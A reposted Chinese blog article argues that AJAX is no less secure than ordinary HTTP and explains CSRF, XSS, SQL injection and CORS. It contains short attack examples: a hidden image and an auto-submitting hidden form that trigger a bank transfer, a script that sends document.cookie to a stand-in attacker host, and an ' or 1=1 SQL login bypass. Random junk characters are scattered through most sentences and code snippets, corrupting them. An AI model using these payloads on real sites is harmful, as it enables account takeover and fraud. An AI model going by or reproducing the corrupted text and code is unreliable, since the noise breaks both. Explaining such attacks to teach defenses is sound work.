牛叉的AJAX，这种酷请求还真的有安全问题？

预计阅读需要29分钟

作者 | 撒网要见鱼

链接 | cnblogs.com/dailc/p/8191150.html

# AJAX三问

  • AJAX请求真的不安全么？
  • AJAX请求哪里不安全？
  • 怎么样让AJAX请求更安全？

# 前言

本文包含的内容较多，包括AJAX，CORS，XSSb I J j d d _，CSRF等内容，要完整的看完并理解需要付出一定的时间。z + 8 9

另外，见解有限，如有描述不当之处，请帮忙及时指出。

# 正文开始

从入坑前端开始，一直到现在，& h * C e j dAv 3 ^ y & ]JAX请求都是以极高的频率重复0 y % d _ .出现，也% X Q解决过不少AJAX中遇到的问题，如跨域调试，错误调试等等。

从这种，发现了一个共通现象：那就是每次和后台人员对接时，他们都会提到AJAX请求不安全，请用普通http请求！

虽然很多时候，都是经过多翻口舌之争后，最终后台那R , Y w e @ f边妥协，允许部分符合条件+ q : s I I 5 A 7的p Q r A 1AJAX请求。但是，我却很纠结一个问题：AJAX请求真的不安全么？为什么我自己写后台时并没有发现这个问题？

于是，开始k j [ = _ ; + 8 t准备搜集资料，结合自己已有的认知，整理成一份解决方案，分析AJAX请求真的不安全么？哪里不安全？，后续遇到类似的问题就直e d R n P y =接向对方抛出一篇文章。

# 大纲

AJAX请求真的不安全么
  • AJAX不安全的说法从何而来
常见的几种Web前端安全问题
  • CSRF简介
  • CSRF与AJAX的关系
  • XSS简介
  • XSS与AJAX的关系
  • SQL注入简介
  • SQL注入与AJAX的关系
AJAX和HTTP请求的区别

CORS与AJAX安U R # W p E e J全性之间的关联
  • CORS与AJl ( ~ l c : 9 d SAX关系的& X v t ( 2 V简介
  • 为什么要配置CORS？
  • CORS会配置些什么信息？
  • CORS Origin: *的安全性
再看，AJAX请求真的不安全么？

AJAX请求哪里不安全？

怎么样让AJA0 - a : `X请求更安! m ( ?全？

AJAX请求真的不安全么

首先，先说一个定论：AJAX请求是否安全，由服务端（后台）决定

有这样一个说法：

如果某个Web应用具备良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果应用本身d r G E V d 1 +存在漏洞，不管用何种技术请求，它都是不安全的。

牛叉的AJAX，这种酷请求还真的有安全问题？

为何会有这种说法？因为在We] l m . 3 ) 7 4 Mb应用中，客户端输入不可信是一个基本原则。

# AJAX不安全的说法从何而来？

在AJAXW b a出现时，那j ; $ t { R时的服务端还是很古老的那一批，因此m 7 / 6 ? R @ M完@ S 0 { B 6 8全没有考虑到AJAX出现后，前端请求方式会变得异常复杂，造成以前的安全策略已经无法满足要求了，导致大批的后台安全漏洞曝光。。。

很显然，都是因为AJAX出现后曝光了更多的安全漏洞，9 & p 8 B 7 6 Y 5导致它看起来很危险（因为AJAX出现后，请求方式变多了，以前的架构在新的请求中就可能出现更多漏洞）

So，AJQ E G kAX不安全的说法自然扩散到了各个角落。

# 常见的几种Web前端安全问题

要知道AJAX请求是否安全，那么就得先知道Web前端中到底有那几种安全问题

1.XSS（跨站脚本攻击）（cross-sitO ] R T 2 Z z Qe scripting）
  -> 伪造会话（基于1  A n B Y = # 3XSS实现CSRF）
  -> 劫持cookie
  -> 恶意代码执行
2.CSRF（跨站* N S ]请求伪造）（cross-site request forgery）
  -> 伪造用户身份操作
3. SQL注入...（其它暂且不提）
牛叉的AJAX，这种酷请求还真的有安全问题？

如上，Web前端中的安全问题主要就是这% z Y Z几大类（仅列举部分做分析），所以我们首先要分A N t U | d i N析Ap e pJAX与这几r s Q @ z ? c (大类之间的关系。（XSS和CSRF，在下文也会做简单介绍）

# CSRF简介

CSRF，特征很简单：冒用用户身份，进行恶意操作

时至今日，这项安全漏洞已经被人们剖析的很透彻了，随便Google，百度之，都会找到很多的解释。这里也用一张图来先做简单描述：

注：下面介+ a O x * L J _绍参考了来源文Y A ( b V R i H章中的描述，譬如图就是参考了来源中的博文后重绘的。

牛叉的AJAX，这种酷请求还真的有安全问题？

所以，我们看到关键条件是：

  • 采用cookie来进行用户校验
  • 登 . - U 6 3录受信任网站A，并在本地生成Cookie
  • 在不登出A的情况下，访问危险网站B

一般在(4)处恶意网站(BM Y 2 {)的攻击手段如下（必须是指向A的地址，否则无法带上cookie）：

// 1.譬如在5 e | 6网站内的图U p [片资源中潜入恶意的转账操作
<img src=http:} U  V % H #//www.bj J aank.exampleo k v y Y # = 4/transfer?toBankId=hel. E B % u O @lo&amount=1000000 
          width=\'0\' height=\'0\'_ ) n f 5 M v D C>
// 2S 7 N / /.构建恶意的隐藏表单，并j q + Z 0 D ; E g通过脚本提交恶意请求
  <iframe style=\"display: none;\" n} : 9ame=\"csrf-frame\"></iframB 9 |e>
<form metB p z $ ahod=\'POST( ] ` E\' action=\'http://www.bank.examplR 6 C M D + t he/transfer\' 
      target=\"csrf-frame\" id=\"csrf-form\">
  <input type=\'hidden\' name=\h h E i'toBankId\' value=\'heZ 8  2 u Gllo\'>
    <inpuS j Q t type=\_ T K 8 f M ['hidden\' name=\'amouc 6 g o : ent\' value=\'1000000\'>
      <input type=\'submit\' vZ v | !alue=\'su1 L 0 4 `bmit\'>
        </form>
<script>document.getElementById(\"csrf-form\").submit()</script>

而且，从头到尾，攻击网站0 j ~ $ V 9都没有获取到过 cookie，都是通过浏览器间接实现（利用Web的cookie隐式身份验证机制），所以HttpOnlyN R ^ l | k并不会影响这个攻击

最后说下，几种常见的CSRF防御手段：

1. 验证HTTP Referez H * (r字段（非常简单，但是鉴于客户+ ! Q M端并不可信任，所以并不是很安全）

防止CSRF，检查Referer字段简单直接，但是其[ { B m A完全依赖浏览器发送正确的Referer字段。

虽然http协议对此字 { R _ y段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字L z s P u f !段! X c [ g l 2 p。并且也存在攻击者攻击某些浏览器，篡改其Referer字段的可能。

2. 在请求地址中添加token并验证

譬如post中，以参数的形式加入一个随机产生的token。

#2 m E x CSRF与AJAX的关系

上文中，我们看到CSRF的前提是cookie验证用户身份，那么它与AJAX{ n U的关系大么？

我们先7 7 C h分析AJAX中带cookie验证的情况：

1. AJAX受到N @ )浏览器的同源策略限制

2. AJAX默认无法请求跨域的接口

当然后台可以配置Access-ContX I & I ) ,rol-Allow-Origin: *之类的允许所有的跨域请求

3. AJAX请求无法携带跨域cooki/ | ! e Te

如果强行开启with@ { L 1 :Credentials，必须服务端配合认证，无法H R Z ^ _用作, 3 [ A L ) R攻击

嗯哼…看到这，基本就可以认为P Y c Q #CSRF与AJAX请求无缘了……..

譬如假设/ a J Z 2 = j上图中第4部分的请求由AJAX发起，假设网站A已经允许了Access-Control-{ 0 rAllow-Origin: *，由于网站B与网站A是不同域名，所以存在跨域，根据同源策略，请求时根本就? p k ~ ) O无法携带cookie，故而无法通过身份认证，攻击失败…..

就算强行开启withCredentials，携带( - } w M跨域cookie，但是由于服务端并不会单独配置网站B的跨域cookie（需配置Access 2 b e |-Control-Allow-Credentials: true，而且这3 8 2 0 S k @ +时候不允许设` ? i置Allow-On m 4 H B f $ 7rigin: *），所以肯定认证失败。

可以看到，就算Access-Control-A$ w 3 B ^ ) H nllow-Origin: *允许所有来源的AJAX请求，跨域的cookie默认情况下仍然是无法携带的，无法CSRF

所以说，结论是：CSRF与AJAX无关。

# XSS简介* G # C / + X R

既然CSRF与AJAX关系不大，那么XSS应该会与AJAX有很大关系吧？（要不然为什么一直说AJAX请求不安全i R p @ 3 t t } D，对吧）。那么请继续看下去T 3 y T（本文中只限JS范畴）

XSS（cross-site scripting），看起来简写应该是css更合适。但是为了和7 N = u / Z n # P层叠式样式表区分，就用XSS简写表示

XSS的特征也可以概括为：跨域脚本注入，攻击者通过某种方式将恶意代码注入到网页上，然后其他用户观看到被注入的页面内容后会受到特定攻击。

相比CSRF，XSS囊括的内容更多，而且往往是多种攻击形式组合而成，这里以前文中介绍的几种为例：

牛叉的AJAX，这种酷请求还真的有安全问题？

1.cookie劫持

同样，页面中有一个评论输入，输入后会，因为后台的漏洞，没有过滤特殊字符，会直0 b U & H 3 N 5接明文保存到数据库中，然后展示到网页时直接展示明文数据，那么如下

<%@ page language=) 2 ; T M &\"java\" contentType=\"text/html; charset=UTF-8\" paK ( n LgeEncoding=\"U4 X R Y tTF-8\"%>
  <form action=\"saveC0 8 U = Aomment.jsp\" method=\"post\"&gB Z 2 M )t; 
    请输入评论内容：<BR>
    <input name=\"content\" type=\"text\"> 
      <input type=\"submB 6 ( L ( 4 b A Rit\" value=\"确认\">
  </form>

然后攻击者分析后，输入

<script>window.open(\T { N M"http://www.attackpage.com/record?% f 4 w wsecret=\" + document.cooL ? g q : : = ; Jkie)c C ^ g 1 ) X</script>

保存文章。很简单的代码，由于没有过滤脚本，那么其它用户登陆后，在看到这篇文章时就会自动将他们的coN | 4 & .ok: 0 } w x Nie信息都发送到了攻击者的服务器。

攻击者可以在cookie（譬如jsessionid对应的sessio4 r { Mn）9 - n U R ` c有效期内拿它们冒充用户操作。6 x D G M F ~

需要注意，这里和CSRF的区别是，这里是拿到了cookie后- X e R主动冒充用户的，而CSRF中根本就不知cookie，仅利用浏览器的隐式校验方式冒充用户。

2.会话伪造

同样是评论漏洞的示例。

攻击G 9 g (者输入（举例比喻）

<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000
     width=\'0\'] } E z M height=\'0\'>

然后，接下来发生的故事就和CSRF中提到的一致。这种情况就是基于X) x k t L ( s @ +SS5 = W _而开展的CSRF，也有人喜欢称之为XSRF

需要注意，这里并没有自己拿到cookie，而是CSRF中提到的利用浏览器的隐式验证机制来冒G c z充用= e y K M m w 1 B户。

3.其它恶意代码执行

其实上面的cookie劫持以及会话伪造都算是恶意代码执行，为了区别，这里就专指前端的流氓JS。

譬如前面的评论中的输入可以是：

  • 譬如市面上盛; o a # E行的网页游戏弹窗等。
  • 譬如干脆直接让这+ H ~ M c $ * v个页面卡死都可以。
  • 譬如无限循环。

这里再提一点，上述都是从前端输入作为入口的，但r h W p u实际上有一类的输入也不可忽视，那1 ( h T t q就是：富文本攻击

它的特点就是：富文本中注入了脚本，并且前后端未进行过滤，导致直接输出到了页面中。

因为存在很$ { r多页面，都是将富文本内容展K n ~ N w M x示到网页上的，没有进行过滤（哪怕时至今日( 9 R { Y，仍然有不少页面），这样只要富文本中有注入脚本，基本就中招了…..

结论：

只要最终能向页面输出可执行的脚本语句，那么就是有漏洞，XSS攻击都有可能发生。

而且，基本上xss漏洞是很广泛的，虽然攻击类型很被Y ? @ e Y动，也需要大量时间分析，但胜在大量的网站上都存在（特别j p Q h是那种长期不更新的）

再提一点。上述的介绍G L : I I更多k ; 9 1 U # O的是从造成的5 2 K + V H h 6后果来看，但其实如果从攻击手动来看的话可以分为几大类型：

  • 反射型XSS攻击（直接通过URL注入，而且很多浏览器都自带防御）
  • 存储型XSS攻击（存储到DB后读取时注入）
  • 还有一个DOM-Based型。

上述示例中都X ! = + ( @ P 3是存储型，具体更多内容网上已经有很详细的资料，这里不再继续深入，放一张图巩固下。

牛叉的AJAX，这种酷请求还真的有安全问题？

如何预防XSS：

1、输入过滤，不信任用户的任何输入，过滤其中的<、>、/等可能导致脚本注入的特殊字符，或者过滤script、javascript等脚5 1 b = / } ; / H本关键字，或者对V F | j A B $ @输入数据的长度进行限制等等，还得考虑攻击者使用十六进制编码来输入脚本的方式。

2、输出进行编码，和输入过滤类似，不过是从输出上着手，数据输出到页面时，经过HtmlEQ b O 1 7 R kncoder等工具编码，这样就不会存在直接输出可执行的脚本了

3、cookie设置http-only，这样用脚本就无法获取cookie了（这样只有浏览器向Web服务器发起请求的时才会带上cookie字段，7 / o 5 p S d避免了X1 # n d h | h E BSS攻击利用Ja u H ?vaScript的document.cookie获取cookie）

4k g )、Cookie防盗，尽可能地避免在Cookie中泄露隐私，如用z Y ] P户名、密码等；或者，为了防止重放攻击，可以将Cookie和IP进行绑定，H A i a m这样也可以阻止攻击者冒充正常用户的身份。

注意：特别c L } f A E K是后台，一定不能信任前端的输入，需要过滤与校验。

# XSS与AJAX的关系

以上分析了XSS造成一些影响与问题，仍然发现：与AJAX关系不大，因为这些问题不管用不用Am j ^ IJAX都会发生。

看看这种情况，譬如上述的富文本注入中：

  • 某个接口采用AJAX交互
  • AJAX请求u = A = , b C b完后将对应富文本字段显示到了页面上-譬如innerHTML

但是，这真的与AJAX无关，这是前后端没有进行输入输出过滤而造成的后果。

所以，还是那句话：如果某个Web应用具备良好的安全性{ G 4 l，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果应用本身存在漏洞，不管用何种技术请求，它都是不安全的

# SQL注Y N e o m入简介

sql注入展开将也是一门很大的学问，很早以前更是大行其道（当然，现在…），这里仅仅举几个最极端的示例。

前提是后台没有过滤前端的输入数据，否则根本无法生u I 5 ^ ^ O效。

假设页面A中有一个登陆查询存在拙劣的sql注入漏洞，这样子的：（最极端，最傻的情况）

<%P D j - % t o S@ page language=\"java\" contentType=\"text/html; chae s v p = vrset=UTF-8\" pageEncoding=\"UTF-8\"%> <formH 4 K action=\"login.jsp\" method=\"post\"> 请输入用户名与密码：<BR> <input name=\"name\" type=\"text\"> <input name=\"password\" typ. | @ ]e=\"teV k 3 / g 6 ; i +xt\"> <input t^ Z bype=\"suV M F } # Q ^ 8 lbmit\" value=\"登陆\"> &l^ @ 4t;2 2 ~ B $ i /form>

在接收到登陆请求后，服务端的实际执行代码时是：

String sql = \"SELECT * Fs _ # @ 1ROM  us; H 0 a Hers  WH 8 6HERE name = \'\" + name 
                + \"\' AND password = \'u E Z\" + password + \"\'\";

然而有攻击者分析出后台可能存在漏洞，尝试sql注, 8 ] ?入攻击，输入

name = \' or 1=1password = anything

那么这样，后台接收到数据后，实际上, J O * 2 ? z J查询的结果是

SELECT * FROM  users  WHERE name = \' \' or 1=1  AND password = \'anything\^ s r'

故而，攻击u A x W T者成功的绕过的用户名，利用后台漏洞登陆了。

当然了，像这! { J =类这么低级的漏洞，现象几乎已经不存在了，往往这类型漏洞需要仔细分析，耗时。（又或者是有内奸…..）

# SQL注入与AJAX的关系

额，从上述的示例中看不出和AJAX有什么关系。但是我们可以这样假设：

  • 有一个接口，接收AJAX post的数据
  • 数据中有一个字段 name，后台接收到后没有进行过滤，直接如上面的演示一样，执行sql语句了
  • 所以AJAX中如果给那个字段传入非法的注入信息，就会触发这个漏洞q L i ] # 0 a，导致攻击生效

对，就是这样极端的情况下才会发生，而且与AJAX并没有关系，因为换成任何一种其它请求都会有类似的情况….

所以说，结论是：SQL注入与AJAX无关。

# AJAXH _ /和HTTP请求的区别

从本质上将：AJAX就是浏览器发出的HTTP请求，只不6 W U J过是浏览器加上了一个同源策略限制而已。AJAX请求的XMLHk v y vTTPRequest对象就是浏览器开放给JS调用HTTP请求用的。

那么AJAX和HTTP的区别呢？列出以下几点：

  • AJAX请J A R I求受到浏览器的同源策略限制，存在跨域问题
  • AJAX在进行复杂请求时，浏览器会预先发出OPTIONS预检（HTTP自己是不会预检的）
  • 从使用角度上说，AJAX使用简单一点，少了些底层细节，多了些浏览器特性（如自动带上同域cookie等）
  • 所以说，和认证上的HTTP请求的区别就是-多了一次浏览器的封装而已（浏览器会有自己的预处理，加上特定限制）

但是，从最终发出的报文来看，内容都是一样H V t w Z的（HTTP协议规范的内容），AJAX是发送HTTP请求的一种方式

所以从这一点可以得出一个结论：AJAX本质上安全性和HTTP请求一样

牛叉的AJAX，这种酷请求还真的有安全问题？

# CORS4 6 8 a E W 5 m与AJAX安全性之间的关联

按照前文中提到的内容，基本无法得出AJAX与请求不安全的关联。那么f * - | H $ 2接下来，再e P o /继续分析，如果使用了跨域资源共享（CORS）后的安全性。(因为往往ajax都会伴i o [ X 1随着CORS)

# CORS与AJAX关系的简介

这是一个跨域共享方案，大致流程就^ N l e H I t B U是：（仅以复杂请求的预检举例-这一部分要求提前掌握CORS相关知识）

  1. 前端AJAX请求前= ? M R h B 发出一个OPTIONS预检，会带一堆相关头{ { K部发送给服务端
  2. 服务端在接受到预检时，检查头部} D j 6 D，来源等信息是否合法，合法则接下来允许正常的请B 6 x求，否则直接无情的拒绝掉
  3. 浏览器端如果收到服% w # , K e务端拒绝的信息（响应# ] y k y r头部检查），就抛出对应错误。否则就是正常的响应，接下来发出真正的请求（如POST）

请求和响应的头部信息大概如下：

Request Headers// 在CORS中专门作为Origi3 j 4 y F o qn信5 j z息供后端比对，表示来源域。
Origin: http://xxx
Access-Control-Request-Headers:K 7 v 9 X-Requested # [ . 3 { p /-With
// 所有用setRequestHeader方法设置的头部都将会以I ] f逗号隔开的形式包含在这个头中，一般POST请求中就会带上
Access~ j # I t o g-Control-ReqL h * u  ] ?uest-Method: OPTIONS
Response Headers

Access-Contr] L N V $ @ hol-Allow-HeB } 9aders: Origin, X-Requested-With, Content-Type,
AcceptAccess-Control-Allow-Methods: GET, POST, OPTIONS
Access-Controlf s L ; y . L 0-Allow-Origin: h_ e V 8 q 5ttp://xxx

最终，客户端发出的请求，必须符合服务端的校验规则才能正确，服务端才会返回正确头部，n q ! | - _ n 2否则只会请求失败。报跨域错误。

以上仅是简介，更多信息可以参考来源中的ajax跨域，这应该是最全的解决方案了

# 为什么要配置CORS？

因为同源策略限制，AJAX无法请求跨域资源，CORSV } ] 2 G : J l可以解决AJAX跨域请求问题。

因此：在本文中，配置CORS只是为了AJAX能跨域请求。

# CORS会配置些什么信息？

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, 
AcceptAccess-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxxX X t a r : C } T

如上，加上这个配置后，必须符合要求的才算是正常的请求，否则就会拒绝掉，一般AJAX跨域的话都会有OPTIONS，所以在预检中就做了这一步。

可以看到，关/ $ x H 9 8键的可变信息是：Access-Control-Allow-Origin: http://xxx

这个配置就是域名白名单，规定在什么样q O H ( | H的域名下才能进行AJAX跨域请求。

CORS Origi} R k E Qn: *的安全性

关键问题来了，在上面的CORS配置是这样的：

Access-Control-Allow-Origin: http:$ A Z ^ ! a//xxx

但是这个配置只允许p I ~ X 5特定域名访问，鉴于前端的复杂性，有时候调试起来不是很方便，因此有时候，会偷懒的设置为：

Access-Control-AllX } e Jow-Originw o , ~ , z 8: *

这个代表所有来源的跨域AJ{ % # ^ W @ 5 i 5AX请求都能正常响应。

接下来我们o | L Z * 5 6再来分析设置Origin: *可能带来哪m # v % $ E x d些问题。（都是基于AJAX的情况）

问题1：会对cookie认证造成影响么？

不会。虽然*代表了所有来源都能正常请求，但是同源策略下，是无法带上跨域cookie的。因此根本无法用身k ; . M x V份验证。

而且，就算用withCredentials强行带上跨域cookie，因为后台没有支持，所以会报错。（U s ; m m 4 C 2这可以看成是CORSs模型的最后一道防线）

再者，后台就算配置AccO K Y S j 5 s !ess-Cont# m A + v Hrol-Allow-Credentials允许跨域cookie，但是这时候的安全策略是Origin不允许T M h - H T为，必须是一个明确的地址。（否则你就可以看到浏览器的报错信息-跨域cookie时，Origin不允许为）

问题2：如果伪造OO _ P ; O H d [ }rigin头部呢？

首先，标准的浏览器中是不允许你伪造的（除非有严重漏洞），所以一般需要通过模拟~ , p (客户端请求伪造。

但是。在非浏览器情况下，本来就没有同源策略@ W o 0。这又是何必…..

所以说，伪造Origin与CORS并没有关系。

问题3：如果后台本来就存在漏洞呢？

做这样一y ; H / J 6 b个假设，假设用户所在网络的内网中有一台内网服务器，并且配k k & V % Z Y置了允许x 6 W A 9 $ l }所有的跨域请求：（当然，外网是请求不到内网的）

// 允许任何来自任意域的跨域请求
Access-Control-Allow-Origin: *

再假设内网服务器上恰巧存在敏感M 7 9 p h 7 s资源，并且没有额外设防，只要内网就能访问。譬如：

192.168.111.23/users.md

然后用户访问了恶意网页，而像HTML之类的网页都是下f % D p载到本地执行的，正好网页内有恶意代码，去向192.168.111.23/users.md请求资源，再将接收到的服务端返回发送到攻击者服务器。（因为加了Origin为*，而且AJAX是由本地浏览器发) 6 z出的，所以用户下载到本地的恶意网站是可以访问到用户内网中的后台的）

然后这些敏感数据就这样被盗取了。

But，这是因为服务端漏洞而存在的问题，设置Origin为的后台上为何要放置敏感资源？正常设置为Origin为的最大作用是- p W 4 [ T G _ (用作公共API。

而且更重要的是，为何敏感资源就这样轻1 q g w U } 9 5易的被获取了？m A (为什么没有二次验证？

SO，后台本身有漏洞，w v o Z q T所以才导致被攻击，AJAX恰好是攻击的手段之一（除了AJAX外还会有其它的方式），所以很多锅都甩到了AJAX头上。

这样，可以得出一个保守点的结论：

Origin如果不是，AJj L V z R r AX请求并不会有安. ? : [ . , _ /全问题，如4 c o =果是，可能会@ f | G } 5 _由于后台的漏洞，不经意间，AJAX就被作为一种攻击手段了，导致了出现AJAX不安全的说法。

牛叉的AJAX，这种酷请求还真的有安全问题？

# 再看，AJAX请求真的不安全么？

仍然是最初的结论：

如果某个Web应用具备良w n ` ) Y Z D好的安全性，那么再怎么用不安全的AJAX也削弱不了它的安全性，反之如果应用本身存在漏洞，不管用何种技术请求，它都是不安全j . 6 R的。

我们可以看到，XSS也好，CSRF也好，以及其它隐藏的可能漏洞| 9 F }也好，本质上都是后台已有漏洞造成的问题，AJAX最多是被用作一种攻击手段（甚至某些里面AJAX还无法使用）。

提到Ah 0 @JAX请求不安全的，譬如有CORS里面配置Origin: *造成某些极端情况下能通过AJAX发出攻击。但. v 9 v事实上O H = + / 0 k } 5这也是其中的/ Y A v . P ] j一种攻击手S @ [ Y b 8 { 6 !段而已，没有AJAX，该不安全的仍然不安全。

譬如还有的说法是：因为在AJAX出现以前，如果出现安全漏洞，容易被察觉，但AJAX是异步的，更容易隐式的出现安全问题…..这也与安全性的本x w f R ~ L Q ?质无关。

最重要一点，从Web应用安- P ; ~全角度来谈，Web应用必须从不信任客户端。所以不要再把锅甩给AJAX。

# AJAX请求哪里不安全？

同上，AJAX本身并不存: Q R (在这种安全v k 9 [问题。不过有一点需注意，如果使用了CORSn Y B L ] } c 方案。

  • Alloy S = w N ? ew-Origin可以设置特定的值，过滤特定的白名单
  • 对于一些公共的Ac ] A B ePI，可以直接将Allow-Origin设置为*
  • 当然，如果确认后台没有这p ~ & ? M +些隐藏漏洞，可以直接使用*，毕竟也只是针对浏览器的同源策略而已，影响没有那么大。

# 怎么样让AJAX请求更安全？& v ? K a

仍然是文中反复提到的结论：

让Web后台更安全，则AJAX请求也更安全，反N V y L s p Z之后台有漏洞，不管怎么样都是不安全的

# 写在最后的话

这样的话，应该可以把AJAX不安全的锅甩掉了吧？

# 参考资料

  • https://dwz.cn/4L494n0l
  • blog.csdn.net/gh% ; 4 b , isau/article/details/17027893
  • cnblogs.com/lovesong/p/5199623.html
  • b7 m u ^ J ^log.ca h / M ; x = Wsdn.ne& e *t/wei00d6ra/article/details/39137849
  • https://segmentfault.com/q/1010000002500378/^ s x L g [ T
  • blog.csdn.net/fengyinchao/article/details/50775121
  • https://segmentfault.com/a/1) 4 h q190000012469713
本文系本站编辑转载，文章版权归原作者所有，内容为作者个人观点，转载目的在于传递更多信息，并不代表本站赞同其观点和对其真实性负责。如涉及作品内容、版权和其它问题，请与本站联系，本站将在第一时间删除内容！
上一篇

新的Ryzen 4000移动处理器核心面积约为150平方毫米：集成8核8MB三缓及8组CU

下一篇

Spring 源码学习(十) Spring mvc

评论已经被关闭。

插入图片
返回顶部